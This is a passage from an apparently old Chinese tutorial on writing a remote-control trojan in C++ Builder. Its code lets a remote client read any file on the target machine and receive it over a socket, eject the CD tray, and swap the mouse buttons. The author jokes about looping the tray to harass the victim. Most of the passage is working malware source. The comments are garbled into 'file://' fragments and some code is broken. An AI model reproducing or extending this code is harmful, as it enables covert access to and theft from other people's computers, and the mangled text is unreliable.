够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好
好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指
累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如/果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将/目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打/开目标文件准备读
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已试了100次了
Socket->SendText("Fail By Open File");
file://返/回“Fail By Open File”的错误信息
goto END;
file://跳/到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content=\0;
file://定/义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从/目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text/的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content=\0;
Read_Num=fread(temp_content,1,300,fp);
file://重/复
};
Return_Text=Return_Text+temp_content;
file://Return_Text/的内容加上刚才的字符
fclose(fp);
file://关/闭目标文件
Socket->SendText(Return_Text);
file://返/回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧--操纵目标机的光驱(注意:mciSendString()函
数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如/果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就/弹出光驱的托盘
}
else if(temp=="close")
{
file://如/果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就/收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_
^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交/换鼠标左右键,简单吧?
}
}
|